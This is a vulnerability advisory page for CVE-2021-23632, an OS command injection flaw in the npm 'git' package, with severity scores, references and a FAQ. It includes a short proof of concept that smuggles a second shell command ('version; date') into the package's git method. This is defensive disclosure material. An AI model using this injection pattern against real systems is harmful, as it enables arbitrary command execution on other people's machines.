RCE in Git Project
CVE-2021-23632
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
Vulnerability class: Command Injection (OS Command Injection)
Published · last modified .
CVSS v3 metric
CVSS v3 base score 6.6 (Medium). Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H.
EPSS exploit prediction
EPSS: 0.024 (83.1th percentile), scored .
Low probability of exploitation in the next 30 days, but still tracked. 83rd percentile — 83.1% of CVEs in the catalogue have a lower EPSS than this one. How to read EPSS.
EPSS over last 30 days · oldest: 0.024 · newest: 0.024 · change: 0.000
Affected products
- Git Project
- Git — versions 0
Weakness classification (CWE)
Public proof-of-concept exploits
References
- snyk.io/vuln/SNYK-JS-GIT-1568518 (Exploit, Third Party Advisory)
Frequently asked questions
- What is CVE-2021-23632?
- CVE-2021-23632 is a medium-severity vulnerability in Git Project, classified under OS Command Injection. CVSS score: 6.6/10. Published 2022-03-17.
- How severe is CVE-2021-23632?
- Medium severity. CVSS v3 base score is 6.6 out of 10.
- Is CVE-2021-23632 known to be exploited?
- 1 public proof-of-concept repositories are indexed. Not currently listed in the CISA KEV catalog.